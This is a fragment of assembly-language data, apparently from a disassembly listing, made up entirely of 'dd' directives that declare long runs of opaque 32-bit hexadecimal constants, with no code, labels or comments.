dd 28DBE11Bh, 62C7CA38h, 2B73EB19h, 0B4089949h, 0E1007AEh
dd 34875459h, 4BF9AF34h, 0AB8A6C7Ah, 18DF7DACh, 920D5DB6h
dd 0C58C524Eh, 9C450BDDh, 0CFF6B88h, 444788CAh, 0E671728Eh
dd 76D52823h, 0E4671CE4h, 63E9BCB9h, 143BE175h, 4E305449h
dd 20D0DE1h, 0E2A9C123h, 0A821E941h, 45548DD0h, 89876C40h
dd 0F6C1FDF8h, 62850F4Eh, 78EA5BBh, 0BC57032Ch, 0BC3A7AFEh
dd 9B4DE213h, 14A0DA1Fh, 3D69ED54h, 0F309DC27h, 0FB2B4D29h
dd 0AFFBDF8Ah, 0FD6143E7h, 29302C17h, 5D12EACEh, 79D51E36h
dd 31178EBEh, 7E53B71Ch, 0E9A32565h, 8270B4B4h, 978F9A0Fh
dd 0CC71C8E7h, 30BB3F0Eh, 0FF92B415h, 28452337h, 0F3B31CA8h
dd 0A22BA8B4h, 2930282Bh, 3946A69Dh, 394CFEBBh, 0ECA13403h
dd 4D88D00Eh, 1B8C7228h, 0EE938E08h, 6D7BF51h, 0C5C73786h
dd 1BC30CB3h, 4C30F1BBh, 86811C42h, 0C358E254h, 0ED38C6ACh
dd 0AFEDD17Ch, 8B8A4CFDh, 35AAEE35h, 5FCDB2C0h, 0E12FED64h
dd 0EFC8BFD8h, 1BEB8D03h, 209E8523h, 998349AAh, 5C716959h
dd 0CE9274C9h, 66765480h, 991BBFA3h, 2F1F7625h, 9C68512Dh
dd 0F0A9108Bh, 0C22472A1h, 0B4AB321Fh, 27A95DBCh, 51496FBh
dd 0C035CFCDh, 0D00A408Fh, 0ED6436F9h, 0BB56B8BCh, 0C32A1DA9h
dd 0B5330AE6h, 500C6802h, 0EBC69D2Eh, 0F44A2102h, 0BDD21B56h
dd 1D69ED91h, 4D108494h, 55A61FAh, 6EE2B41Dh, 22A85C60h
dd 104CE18h, 2954291Dh, 23F65002h, 0E9BB811h, 0C0D9524Ah
dd 58CD5EB9h, 0C5C3CC04h, 477DF3F6h, 288EA2E9h, 0E89316F6h
dd 1CF492B5h, 89B8E73Ch, 435069F2h, 41099327h, 443C28D0h
dd 0D9C864D7h, 0C22FFE28h
dd 2F34AF9Fh, 284136DCh, 0C1752DA8h, 0BF724EE7h, 4E97FEEEh
dd 7FBBD1F3h, 7D8982CFh, 0C9EC55D3h, 0ED84B114h, 83C297C4h
dd 44CF9E02h, 0FD88D5D0h, 0E2D1C3D5h, 211FB666h, 4737E419h
dd 73D0BD7h, 7AF03DF5h, 47523C1Ah, 3D68D723h, 6817CE98h
dd 0AC1BC9D5h, 0D4572A74h, 0FFF4ABF1h, 27879506h, 7A29E431h
dd 0ABD02767h, 8E2276CCh, 0ED1242C4h, 0C33CC268h, 10B80F31h
dd 0D4D68758h, 5C484FB1h, 2FACC29Bh, 84E85944h, 0FCB4CFC6h
dd 0D1F1BEE4h, 4C709817h, 8C433033h, 0EF0B9626h, 0C5731543h
dd 8FCC34E1h, 0ADCE56Dh, 12F08ECh, 57F66054h, 0E0D0221Bh
dd 0A3B0F328h, 790E9059h, 0CB84399Ch, 9B515820h, 7D9A44B2h
dd 0B6C7B296h, 59C1399Ch, 71161633h, 1A1236A1h, 0E27A9A18h
dd 0B0AB1193h, 2571E07h, 0FB6F966Fh, 2F282Dh, 0A0D4CD0Eh
dd 0AF8A4412h, 0B2FD122Dh, 4EA7D16Fh, 306762B6h, 2DC6F364h
dd 2A2937DFh, 6312AF3Ch, 291434F2h, 0D161E1BBh, 0D3B19C9Ah
dd 785C5FCDh, 4AE59A3Bh, 50B77221h, 0F25DE64Fh, 39D0CAA0h
dd 0F4770714h, 9F7B6B2Ah, 0E1E37953h, 67AFE16Bh, 7F111D22h
dd 4F9A6A51h, 0B5D5F29Eh, 0DBD57951h, 1DA14CC2h, 0AA8B7ABh
dd 0A7BF76F5h, 0BB98BB82h, 3AFADFF1h, 0D9756999h, 0D3C33A51h
dd 0FE5170AAh, 0BB9062C4h, 5B8E8AE2h, 0D0E10B4Ah, 8FDFAB84h
dd 94CCE3E8h, 2E3CB1C4h, 791DCBEFh, 47E9FEDAh, 4B12E219h
dd 25B7C6F7h, 487A259Fh, 0DF4EA975h, 8D938ED6h, 0B6FAF2E0h
dd 0A5C63BE8h, 0B73F4DB9h, 0C4336BD2h, 14ABA0C7h, 4AA271BEh
dd 6FB036DCh, 6BA3CEECh, 0D9766ADh, 0A5C3555Dh, 26B7A815h
dd 0E69CE4CBh, 40A0E1E3h, 0EBCB0595h, 703D9CA4h, 834A53CBh
dd 0A4D1F3B9h, 77C8CEF8h, 17784D60h, 0DD553D17h, 0C02F4F2Eh
dd 0A260BA5Eh, 0AAED0C8Dh, 993ECF30h, 9EED19D1h, 0A4E8C83Eh
dd 0DE666306h, 0E64A91B4h, 0C8E51F44h, 0A5238076h, 6202F390h
dd 0F055ADE7h, 2293C5CCh, 98FFDF6h, 7C3D089h, 0DF2A3594h
dd 88FE6036h, 231603A0h, 0DCE9F247h, 93783221h, 0D2E8E25Dh
dd 0C1A11F5Fh, 858ABCDAh, 0E3CF389Ch, 11EB3463h, 591A7D10h
dd 0CC10DC86h, 0BCE5AD83h, 8305D4B7h, 5C21A267h, 659ED71Ch
dd 0EC58F081h, 9FE89EA9h, 0A4DF7BCCh, 74E2F20h, 5A83731Eh
dd 50C1C8ACh, 3E8D475Ah, 0EFEF1568h, 0B0BD8D64h, 0A0C0F9B7h
dd 0C0EBDDCBh, 7500DE58h, 0BBF2C48Dh, 0A927B86Ah, 0CE7D2657h
dd 0EF1A5A0Ah, 0AF508DF2h, 0BFC51151h, 0D3BE5952h, 0E59680D7h
dd 0A997E408h, 0FDE15528h, 73875EB3h, 89A25859h, 33CDF3C0h
dd 0BF273529h, 0DF6B6B1Dh, 1A5BF408h, 1934E85h, 0F1AF0BFCh
dd 1FCD13CCh, 0C4209A68h, 99959397h, 4930B636h, 9E028602h
dd 64FA4630h, 7E2C7866h, 169FBED6h, 4B188842h, 826478ADh
dd 0DEE6F593h, 41DDA25Dh, 15E42B85h, 0C91A12E5h, 5FC4344Ah
dd 0D55AFA18h, 0D4A8CFE2h, 0D910833h, 2DA7639Eh, 727BD1CFh
dd 0C6419406h, 0A63E1957h, 0EBA6841Fh, 6BAD07Dh, 3BDD150Ch
dd 0F5274D9h, 0CF3FE254h, 0F5453682h, 4712EE95h, 5A9D0179h
dd 1C379516h, 0C642D7FBh, 0EBBE7456h, 0B0A8BABDh, 9E1B4D57h
dd 45190198h, 0AC79ECC5h, 2F41C3D7h, 0E42EDB16h, 0B8F63184h
dd 0CBC935CDh, 39BBFCA4h, 0A5DC9303h, 5B01048Dh, 0AEBFF43Fh
dd 47A308EAh, 0FE923D63h, 0B0DE1CFh, 1FC0B3B3h, 8EDDB62Ch
dd 39FE479Bh, 0A93AD0C2h, 0DA067B0Fh, 3041C164h, 47B46B1Dh
dd 0D03BD929h, 204B66Eh, 9C476C62h, 0F0C98FBCh, 2CD7B918h
dd 6A42211Ch, 1A7A4023h, 0DDD01F5Bh, 340470EFh, 0D6869E8Ah
dd 869406A5h, 7D235F72h, 74D22E48h, 82E76C5Eh, 0E317A693h
dd 0A46CB75Fh, 6E6FB704h, 792F13C5h, 99A824Eh, 5C2FC535h
dd 259BE7h, 0C98F3E6Ah, 0EB4A0EDCh, 9E2DB2BFh, 0EC21AC1h
dd 3AE847Fh, 1B400E58h, 0E579FFF6h, 13AA28BEh, 435A3857h
dd 1752470Bh, 0FAE8BDF2h, 6799DFBDh, 0ACC18D67h, 0A518835h
dd 7941E9B3h, 8CBC92F3h, 0F0B9E69h, 97A328CCh, 0A50FC7F5h
dd 5FA770AEh, 8BF1ED9Dh, 3B0111A2h, 8CCFBBAFh, 799CBAC0h
dd 98B40173h, 0F712A18Ah, 8AAC412Eh, 3BF799EBh, 0E72F561Bh
dd 0DDA8E348h, 43D5312Ch, 94B7B804h, 0EFC0CA7Dh, 0C311AE2Eh
dd 0A72D5FE9h, 0F6A0F3F0h, 2AF25C28h, 70604436h, 60C104E4h
dd 0A9922936h, 9853C7A9h, 843A7D9Fh, 29C020A6h, 345FB751h
dd 0EDD2C3C3h, 0FACEDA49h, 0F2BDB111h, 5ED987FBh, 7AF81AF2h
dd 17C4F0CFh, 6624098Dh, 0C50AECCDh, 1EEC8E81h, 0DA023E32h
dd 7CBCE14Ah, 52967F3Eh, 6956B346h, 0C402C1B6h, 6A8E16D5h
dd 0E4BD3B22h, 55B44EBAh, 0F30AFAC7h, 97058BCh, 0A60E7FFDh
dd 79B1D082h, 802FF7E3h, 0F5EC0CC2h, 57EA7061h, 2A74FE92h
dd 0A2DE427h, 0F532B9F3h, 1F34E412h, 3D1E7AD2h, 0D48A7E45h
dd 58232681h, 0DE6D0FAEh, 0B8C11349h, 6FEF3820h, 0E8DC184h
dd 12C8B33Fh, 0E5C1CEh, 5F7CBE73h, 67D47964h, 0B6354406h
dd 0C02B6607h, 13F27715h, 0A2D81FF7h, 9BEBCA9Fh, 23A98592h
dd 0AF6DE3B8h, 0A55E7191h, 0F72E8128h, 289797C9h, 0B7D88785h
dd 0D8F6C03Ah, 8D3A3FD6h, 5BBB0F1Fh, 4350EC0h, 99D5297h
dd 765BDCC6h, 40A0D367h, 39458005h, 7AE5254Bh, 5BCB6AEBh
dd 712A256h, 7E05C071h, 29E27D5Eh, 4C893988h, 4E52AEFCh
dd 5E052CEBh, 0F0419C34h, 9828A784h, 534C4528h, 92C5CF95h
dd 0E218050Eh, 8B13E094h, 0D52D37B9h, 6A0FFD7h, 5BF12363h
dd 5397C84Ah, 3385CA2h, 93105F1Dh, 18D9492Dh, 0B46D88BFh
dd 0D468052Ah, 0F4B1DCD0h, 55C63381h, 0BABB752h, 494D86CAh
dd 0A7D9D7F0h, 2C7BC20h, 6BC3A67Bh, 0FC2CAC66h, 0AAB9ADCBh
dd 983129B9h, 1CEEFD8Ch, 89E3BC8Bh, 81259796h, 64FD28C5h
dd 60734682h, 711A8EB7h, 0FE681575h, 0AAECDC75h, 3DE00C06h
dd 4371015Dh, 0DD88EBEEh, 0C71BC2Fh, 0AF63B16Bh, 0F3ABFB8h
dd 0F102550Dh, 0AFE0B651h, 3B86FB42h, 0C084470h, 48136688h
dd 0A4EFE709h, 608C45E9h, 0AD03EC55h, 73A917F2h, 0CBDD52B0h
dd 7697B69h, 0A1825238h, 0BBEAC620h, 0AE235C2Fh, 4E2BAD09h
dd 0C4CF9470h, 0A9B821DBh, 0EBD04F36h, 0D816457h, 5E8FE3Ah
dd 0FBB90923h, 5C907554h, 95FA0C88h, 3EA3D62Ch, 0B86D2184h
dd 0A0BA2469h, 0CF721A4Eh, 0B7C5D874h, 276982C5h, 0D26F0E4Eh
dd 4C45641Dh, 0D5F94406h, 0F08E556Fh, 0CEFC504Dh, 8CCD58FDh
dd 0DAD6BD77h, 20A3772Fh, 444BBEA9h, 5EDD82AFh, 0D7987A66h
dd 523820Eh, 593718EFh, 0CA1A5126h, 2DD2784Eh, 820F79E2h
dd 5CD41B9h, 26AD86C5h, 7AB66FA9h, 0C60A7B8Ah, 8A2FB28Fh
dd 571FBC3Fh, 1C0E3592h, 8D31FC56h, 42D59B76h, 198847BFh
dd 73E31540h, 533E541Dh, 5C3CC95Ch, 0BE9D0DBCh, 8B478D75h
dd 45E6ED95h, 44E20BE3h, 22FDBFB0h, 5FF619A8h, 0E531D3D2h
dd 0C5612280h, 495A4460h, 0D7D5835Ah, 0E6DA8329h, 0BDF5CB8Ah
dd 0E45B653Fh, 2C2B7143h, 16ED6EC7h, 42410C6Dh, 341A3C81h
dd 35F647D8h, 86186FFh, 7AF2E14Eh, 6D13ACB9h, 0C76A7D42h
dd 512329C9h, 8C3E47F9h, 67140B33h, 8978A271h, 0EBD181B1h
dd 0F79577D7h, 2B5F4D6Dh, 0B5A1C660h, 7CCC1016h, 15D17626h
dd 0F60E4D33h, 0ECB7F28Fh, 33793B27h, 9E003EFh, 0C54C52FFh
dd 61B4B244h, 35605489h, 96573FA0h, 114D7DBBh, 198723F8h
dd 7405A63Bh, 22145FB4h
dd 9B21BBFDh, 0DB7BECC3h, 0D6E0B1DDh, 88AA8EB0h, 3A6BB536h
dd 14624C25h, 620C3CE7h, 0C11D1363h, 0BB6C798Fh, 22738F13h
dd 1E703744h, 77B956F3h, 2709E1E6h, 6F35B301h, 0A34983E7h
dd 1897E562h, 0CC1D8F8Fh, 0EC54B47Eh, 0FE58D96Ch, 1876DAF7h
dd 0FBE398CFh, 4D301136h, 41D73921h, 0D827F09h, 3B7C6D28h
dd 0B794697Bh, 329FA961h, 45505A3Dh, 0B45F7872h, 0B41F9AE3h
dd 7C700D7Fh, 95C434C5h, 146AF862h, 9359EBE4h, 4E63BAFEh
dd 307C6DA3h, 4C6DA03Ah, 0CEFD53Fh, 95F3CE01h, 8C97EDB5h
dd 73B54EDBh, 0BE642686h, 0AE4CB444h, 20C62C16h, 0BE8DF7A5h
dd 0F77B6747h, 326E77A8h, 0DCB3F2CFh, 0A03C7F4Bh, 0B7F374A4h
dd 9D47FED0h, 3A33122Fh, 0DC08FC2Ch, 27557B14h, 692AACCFh
dd 44F13293h, 7F50DFB6h, 0B60B5707h, 0FF0C5F2h, 5EC5F8DEh
dd 72F33FC0h, 94A00E64h, 25058323h, 0CEE08F79h, 0B1AEDD2Bh
dd 0AFAC36DAh, 420BD561h, 0DC8DEAFFh, 2BA361E1h, 8C4E8062h
dd 0FB60BDD3h, 0EA78F6F2h, 25F800BBh, 0E4B1271Bh, 0D39DB3A2h
dd 7A933A57h, 0FEFBCECCh, 0B337EFEAh, 981CC448h, 16D74161h
dd 0D27B37F7h, 2984E284h, 518971A7h, 44C0E341h, 135F6E84h
dd 4C49D82Eh, 0E7F0C1A2h, 4208160Bh, 0EF21B22Fh, 772D966Eh
dd 49E048A0h, 89FF8F6Dh, 3628C48Bh, 0D431654Fh, 0FF65CE87h
dd 72F6EF29h, 8E5F89F5h, 74242004h, 18162801h, 0CED40063h
dd 4F9523B1h, 3E5AE3FEh, 2F0144BDh, 4FF4AD68h, 0F0EE0C06h
dd 32421721h, 0C4C86F60h, 0EB75E607h, 0DFD5C02Dh, 0D642211Ch
dd 5B6149Ch, 0FE588462h, 4D6B661h, 0AE3629B5h, 4314BDCFh
dd 0F3ACFE4Bh, 0BEA86CFBh, 0B1C28968h, 8AF036F3h, 0D6269117h
dd 915B76BCh, 5AF91747h, 0E575D906h, 0CE3004C9h, 9A89FED2h
dd 0A6554B3Bh, 0B27E3571h, 0E8104522h, 511176DBh, 0F0CD64D4h
dd 0EC06D2A4h, 35A0130Bh, 0DECD1650h, 0CB4AF9Ch, 0B93C272Bh
dd 663578A1h, 6D74BC20h, 445F0F70h, 39924649h, 3B6ED0A9h
dd 437EC125h, 173CA1A4h, 66D9AF5Dh, 0B5C7A222h, 3AF5556Eh
dd 91C49B72h, 20A21BDFh, 6D06AF2h, 1C78890Bh, 11454572h
dd 2E6032A4h, 0ED65AFC5h, 0FD72AAF0h, 6E268F9Dh, 0D30C7439h
dd 7313C278h, 0DE9200F2h, 0BB68F308h, 0EBDABB5Dh, 41C66FCCh
dd 2B3137DCh, 0F5C4F596h, 1DC7C717h, 0CD1FEB6Ah, 0D2163109h
dd 41DF27D7h, 0DEB82D6Ch, 8B0C3D95h, 9BBAB946h, 0BB98559h
dd 570331B2h, 80920DE8h, 36523AF7h, 0F4393EE3h, 726B778Ah
dd 39643BDDh, 621DB748h, 1C401AF7h, 0B0F7449Fh, 0D2F33D55h
dd 2563AE6Eh, 0E057F411h, 0CA13CF52h, 0C8D3748Ch, 0B7A9D831h
dd 9A1BF628h, 0A4398B29h, 8CFC0F0Eh, 0A214FAC1h, 462B95B1h
dd 0F5E5DA60h, 0EEED6130h, 512DBE32h, 0ECDF0FC8h, 0BE02D3F2h
dd 0D92BF7ADh, 46C95378h, 0A3E3B840h, 69C7FF8Eh, 0D118D869h
dd 889C8029h, 0D158CF43h, 0BC3E5B6Dh, 7465037Dh, 0C443B2DBh
dd 0FE4AFC02h, 1CD87218h, 6DA52998h, 946B3256h, 96F0BAFDh
dd 0DA878093h, 3399B176h, 4518256Ah, 235051AFh, 3E71F624h
dd 0EB24145Fh, 7A31810Eh, 0BBBB99CAh, 906F887Ah, 0FBE34D1Dh
dd 0D242D121h, 0C6836D81h, 2DAD7F8Dh, 0D3D8B2F2h, 6854D3ADh
dd 0AF41C8DDh, 4280A4DEh, 495E63A9h, 331A5884h, 8F75D0Eh
dd 521428B3h, 0B0BA0C2h, 8EE120DCh, 0D180D797h, 46666AA1h
dd 0FB0CDA26h, 1B1A03B2h, 4D3EE576h, 674D0DC5h, 7D28DD4Ch
dd 30566F6Dh, 5A110E05h, 0A4F0D1FAh, 369A4B10h, 0B01F9505h
dd 773E7A41h, 8B856D35h, 34B29B32h, 0BC0DEF7Eh, 39DC0623h
dd 0CBA53502h, 5BB6D96h, 0DD5C4A6Bh, 228B4060h, 4EDC7D1Ch
dd 2D8402F2h, 1B4D5896h, 0B6B99AE8h, 0BE480B9Bh, 0D190D2ADh
dd 0A2148BEAh, 0F096546Fh, 932A5D44h, 573202E3h, 984F3A4Ah
dd 92945C5h, 14512934h, 87ED544Eh, 1335C672h, 0C8BB8FCDh
dd 625EA0E2h, 854DCE4Ch, 0F36C40DBh, 3F886DE4h, 1320244Bh
dd 47DC937Ah, 0AB1B37F6h, 0B3BA7A0Ah, 7D9D50BAh, 11DEB790h
dd 7E35EEC6h, 67B971D9h, 991E1C1Dh, 96C4C13Dh, 0D7A17D24h
dd 3E7B5D9Eh, 0CEAC7E4Ch, 0BA3B5BC4h, 215437AAh, 0D59F8172h
dd 96DDD43Fh, 1DC0DC0Eh, 14C03304h, 0F124B82Bh, 782AAA65h
dd 0BAFF8AEBh, 0F138C6Eh, 709100BFh, 8B9C8857h, 7A676A09h
dd 7F2CCF91h, 92675A7Ah, 0B78764B8h, 751200A6h, 2EFC46DAh
dd 0DF3DF457h, 33062F1Eh, 6FBD15Ah, 84D8A5F3h, 8F1A8270h
dd 0AF32B807h, 0EF7DEF8h, 9510BBE8h, 0DB991CF6h, 6CBB2439h
dd 63FCB18Dh, 68A0342Ah, 0A76F1B8Dh, 4335BB12h, 0F631C888h
dd 66F59E9Bh, 0B0A8B7A1h, 0D5A60251h, 11BB3278h, 0B2C222B0h
dd 7B2F6C47h, 1FA9F8BDh, 9C65A849h, 2547B4CEh, 6BBCB9E4h
dd 0FE4DFD20h, 444627DAh, 0B2299203h, 0AE3D3834h, 0F260B03Ch
dd 0FF21F0D6h, 0C1E9031Dh, 0C3658F0Dh, 7754A43Bh, 9E959DCh
dd 89B69603h, 0FE1C023Eh, 9048A1FEh, 9B73235Ch, 0AE19A51h
dd 0D4097D1Fh, 8C9227D1h, 3DC1967Dh, 0BA9E95Fh, 0EE381BBAh
dd 5A79BAADh, 0EB784328h, 0E7305654h, 23DEC96Ah, 9131FCDDh
dd 5AB23B3Ch, 2D658B55h, 7571D981h, 6FD25B7Ah, 755C1FC6h
dd 95907FAh, 73C762ECh, 0C550D668h, 0B2097896h, 6F81C6C7h
dd 58A16406h, 42079616h, 5A7ED20Dh, 0A1DB8503h, 850F8C0Dh
dd 0D4102380h, 1A9B621Ah, 9B4F6D26h, 865EC163h, 0A55E2813h
dd 8B00C82Fh, 772B62D0h, 6FACA711h, 0CDEE8D64h, 1D957537h
dd 39673EC9h, 0A9B8356Fh, 3EB8A62Eh, 47307863h, 30CC87DEh
dd 0B0945F0Bh, 0A1CD514Ah, 4E4278BCh, 0D709971Ch, 28994C16h
dd 56867A03h, 0F2029156h, 21054CB3h, 3D6ECDC9h, 8F02E1C0h
dd 2F8F70Fh, 571B9F49h, 56ECC4A8h, 0ADFC5F52h, 88F03BBEh
dd 5CE3144h, 0A36878B0h, 2B0A5F8Dh, 83400AB8h, 0ECA1A7E1h
dd 1A4E1B1Fh, 0E01276C4h, 0CF31DAC5h, 0D9CCB8D8h, 753D5BF5h
dd 58EE581Dh, 314378CAh, 0E1C384C1h, 3A50BC02h, 4FDDEC2Dh
dd 2CEA5EDDh, 27248B5Fh, 75608C9Ch, 821843C8h, 95725FECh
dd 29F91C4Eh, 0FE43484Ch, 0CA00E32Ch, 0A7A716F9h, 9073CE69h
dd 80627F4Ch, 1F66E217h, 2DF60E7Dh, 5821F741h, 288232A9h
dd 0B7F84262h, 0CC55F97Eh, 27776720h, 499691BFh, 2F21D69Ch
dd 10E1A9F4h, 0EA88DE0Fh, 6C60DB1Ah, 41977A5Eh, 0B5403E21h
dd 347B9CF6h, 861DDE01h, 4B7A151Ch, 0BC4D161Bh, 18DCA73Eh
dd 0F1093F37h, 731A84DBh, 0D2E355F8h, 182D9A8Eh, 0FAA241C8h
dd 0EDD1126Dh, 40B47EBFh, 5A3434C4h, 0F1B28074h, 0BB81699Ch
dd 0E4A2AF53h, 0ED684752h, 436FD549h, 70BDBD88h, 0D246C22Fh
dd 5CCDCF42h, 0B074E3BAh, 0D9131F68h, 0AF138EF0h, 8E76D0DBh
dd 17BC047Bh, 0DFC18767h, 0F0313226h, 66DDBB83h, 9678EF2Fh
dd 1040A766h, 0FDDB3EC0h, 8D2B5179h, 0ACA97B20h, 29A82910h
dd 0BBB9070Ch, 2E0857D4h, 4E55A672h, 0A910B2DBh, 241AF13h
dd 0CD16F91h, 14CC8E01h, 0ADBEC7BCh, 3702B9F9h, 74A80DCh
dd 0B78DC64Bh, 1A9D993Dh, 14B5BA1Eh, 5562DBFFh, 96DB345Dh
dd 956144Ah, 15905420h, 0B0B939D8h, 0D68BAA77h, 1F6D8301h
dd 4274084Fh, 56E5CAC9h, 0FBB766FBh, 66105805h, 94DB2C06h
dd 1CCB1F8Eh, 0E112951Bh, 30FD8F4Fh, 4F3174C5h, 0E9B68252h
dd 3D1C148Dh, 550E8C3Eh, 6B9FCF64h, 8621DFF7h, 50000A10h
dd 651D893Fh, 4AD46286h
dd 490C386h, 0CECFC52Ah, 6E0F22EBh, 0EEECF002h, 0BBB01811h
dd 0BA34CC06h, 0CB1B424Eh, 7EA196ADh, 0CA5E731Eh, 31E2FEE5h
dd 8A6CB870h, 0C7AC4AC6h, 0E23A6395h, 5C255188h, 18F68FB8h
dd 1DE2511Fh, 0C2E5C625h, 0E2B69ADh, 0B43997A4h, 0CBAF93ADh
dd 2466A22h, 0E7D5CD32h, 3A8A1B51h, 943CBDE5h, 3C0CA0ECh
dd 1EB3EA9h, 0CBA9C080h, 0B4A42CFEh, 8C841434h, 59ACD421h
dd 32359A71h, 0F07AEAEAh, 0A0A02350h, 46F17270h, 16C7370Eh
dd 333C4449h, 10FAFB13h, 9D059963h, 4134F4ECh, 0F42FDFh
dd 0D60E994Eh, 58D525ECh, 0DB38B3BBh, 0ED79E6F1h, 762314BCh
dd 745D2B8Ch, 30521912h, 0C6B40EBAh, 0B112562Dh, 0BB45726Bh
dd 0EAC14EE3h, 0DAA34FE9h, 3016A5A8h, 8C09578Ch, 0B952E4AAh
dd 0D36F514Fh, 7A25DEDh, 0F2CECB65h, 0D3673610h, 8ACD4FCCh
dd 2ACB9749h, 0F7D7639Fh, 5A2D68B6h, 28906A06h, 53D7A84h
dd 8DE2DADBh, 30EBAAC2h, 4DEBE21Ah, 0B383ABC6h, 21359494h
dd 3466C378h, 23BBE0B0h, 14F4FF66h, 282DD423h, 0BC7EF6E6h
dd 0B11A53Bh, 82835912h, 0A1DF9EF9h, 16ACEDFh, 8DBDE65Bh
dd 229209F1h, 99E385B0h, 549231C3h, 34B58B7Ah, 3FEF2A09h
dd 0C4F0FEB5h, 5DBD05F8h, 0EB3E9594h, 9ED480F7h, 4E95DE36h
dd 6C42FAC1h, 23AACA2Eh, 0CCF73277h, 1A347CD8h, 0E350EA36h
dd 87BACB08h, 387516F8h, 221A5501h, 97D96AD6h, 0D182C3EDh
dd 11223F9Fh, 0CF3A94BBh, 301E0C4Bh, 4D75E54h, 0D2BDE84Bh
dd 1AA2EFBBh, 0C1700EACh, 58E429FDh, 5CBA4FC1h, 0F6222D44h
dd 7C1D6C70h, 210C6088h, 0D02D6364h, 6FE10772h, 9F75187h
dd 9996E879h, 7A6FF9CFh, 31A5E37Ah, 23C4172Ah, 9AB1ACF7h
dd 6EAD0C98h, 0F827E06Ch, 8FD60E08h, 3056103Bh, 3EABEEFCh
dd 61623008h, 6B4433D6h, 319D9ECh, 0F91E61F0h, 320759FBh
dd 0FCDEC43Dh, 48F5956h, 94195607h, 0F8EF56B7h, 201C19B5h
dd 0AB7474D8h, 23C2C4C4h, 0A0E13A19h, 6A84747Ah, 9AB0E6B5h
dd 650931C7h, 7B2BE318h, 487ACD6Ch, 0B4BCDC37h, 482FBC8Bh
dd 4269A621h, 0B064A22Ch, 65E8C610h, 6F87B3D5h, 9C094A86h
dd 49B7C967h, 9E8CB9F5h, 16D0773Bh, 0FC5D88E8h, 0E12F412Ah
dd 8A402C97h, 34000C9Eh, 6A64CDDBh, 846869F2h, 0AD1D5169h
dd 9957F472h, 9DA4BEA0h, 0E74B874Fh, 0F119D87Ch, 0E11E5FE1h
dd 0B7402530h, 9B85AC32h, 1121AE09h, 0FAD67A7h, 8CC97C96h
dd 0AD0E98Bh, 266A4DFDh, 0D827E735h, 0BFFCAFDEh, 1B38D806h
dd 649E604Ch, 0DFCC5026h, 0F9E001B0h, 0AA50489Bh, 428B497Fh
dd 0DE37EF13h, 0F44FF7C9h, 0D7F5F28Ah, 0B1D9DD7Dh, 4B303882h
dd 0FAFEC51Eh, 0E938AD28h, 0EFDDA744h, 4D0BD564h, 6E81C4D0h
dd 9BF9B641h, 53D625B9h, 0EC3477BDh, 0E9387FBh, 0D765CFE2h
dd 2E8DB224h, 0C8A88186h, 799D6E96h, 0E7335AA2h, 0DD2226EEh
dd 0ED6A8CF8h, 36A8C187h, 6902827Dh, 29596CD3h, 0B27269C9h
dd 68B72AB1h, 244F9079h, 3D177567h, 493E36B3h, 3DA41A99h
dd 0AD7B058Ah, 9C75B53Eh, 73E12D86h, 3DC60C93h, 1E324CF4h
dd 7B152C91h, 0C4F4731Eh, 3D0A6A60h, 1DF7E4D0h, 0C6B95734h
dd 3022BA1Fh, 0D38C7955h, 0BF29C759h, 574B381Ch, 0DC5C0740h
dd 0D88645A5h, 393C2808h, 7C21931h, 0CC37D940h, 4041394Ah
dd 33AB5458h, 0BA7FC77Dh, 6FD3812Eh, 0A951F8A0h, 0BAB81F0Eh
dd 0CB603245h, 0DFD586B2h, 40EA2E45h, 0A469034Eh, 9889FD05h
dd 6CE0702Dh, 16CAE08h, 0FFE0AF20h, 0EF9255F9h, 6859499Bh
dd 0FA99C0E2h, 0B1A512ACh, 0ECB41EDEh, 0ED81683h, 40C055BBh
dd 0B4A40C47h, 34CDDF72h, 0BFA6DE12h, 0F653CF45h, 4EA16B31h
dd 458AF79h, 637D1F53h, 5605CF5Eh, 67EA7E77h, 0D2CF1C70h
dd 29F4A320h, 0B0A31DC7h, 159670D0h, 7A086AD6h, 7C175A02h
dd 9DDA5F06h, 9304C89Eh, 723B7609h, 5DD8EE76h, 0BAE55C6Ch
dd 0D9DD1A8Dh, 0E4F449F9h, 36167D6Bh, 456274D6h, 2204FC0Dh
dd 70B997C5h, 57A80C36h, 0CD50510Ch, 21DEA531h, 0BDD4FCF3h
dd 0FF7AEE14h, 8D4E90A8h, 3A7E9CBFh, 5653E0ADh, 0BD17C150h
dd 83F7F421h, 0A2EA13F9h, 715DBADFh, 2F322469h, 89F7ABF8h
dd 24DD137h, 0D914B0B3h, 0FBF23B08h, 0B218A29h, 0C694887Ah
dd 65C655B0h, 0C67BDAFh, 0C6188DC9h, 0E578693Bh, 0B4484AC4h
dd 3A34FC98h, 3716F7Dh, 0CFE51E23h, 97EAA067h, 0A4B92689h
dd 134F33DDh, 84AF2701h, 0FC834C5Ch, 34B70797h, 0E0C2E6CAh
dd 77C2AA71h, 9A48C828h, 0A112D915h, 0D41891C1h, 0B595F696h
dd 94DF7C35h, 16FE0164h, 9979869Fh, 5043439h, 90F59D62h
dd 3568CD32h, 5477674Ah, 8F561E17h, 0E2DA9764h, 26DD7309h
dd 7C4CAAD4h, 1ED54A2Dh, 7390A6F8h, 125FCEA4h, 585397BAh
dd 3A5CFA0Ch, 2A2A0077h, 5917DBA3h, 0DD921E69h, 52DD189Dh
dd 0E7403646h, 389DF0ABh, 8CDD8862h, 8C6D197Bh, 7CD71C6Dh
dd 5E52C0D8h, 0C9545116h, 28FBD6BAh, 0D79B8834h, 3FF8C624h
dd 664852C9h, 0D516143Eh, 5D834510h, 748AFD32h, 9C856E60h
dd 1B6663DCh, 720CBADDh, 5E6F7B3h, 0D768F8h, 0EA9846C4h
dd 44002B6Eh, 0F8FE41B9h, 987B92Bh, 0E18B0F7Ch, 0EEC1D619h
dd 8F65CEB1h, 83272609h, 0CC784475h, 36C0C0A9h, 94BFF890h
dd 3F73C576h, 0CF092B56h, 0BEB27FEFh, 29B24218h, 0F98A309Bh
dd 7DCD6619h, 0D917AE36h, 0A006BF48h, 537B6F0Bh, 4040A5B0h
dd 0C0FEC7DFh, 6B01F426h, 0CB51B97Ch, 0B63CB7E2h, 595CFD4Dh
dd 4F86D110h, 122BAB86h, 5120ECC3h, 267782BCh, 0F4A14D8Bh
dd 0ECF32EFDh, 0D9B92017h, 0D2201335h, 27D88001h, 0D6150E1Ch
dd 0DF953FCDh, 0CE153D81h, 50A0384h, 1DDAF2CDh, 0B12828D7h
dd 80D10CB6h, 49F4DFAFh, 62541A75h, 4285DD74h, 2BE242C1h
dd 0DA690F9Fh, 57B7056Dh, 0FB4D5AA8h, 72E71E17h, 8EF5B7B6h
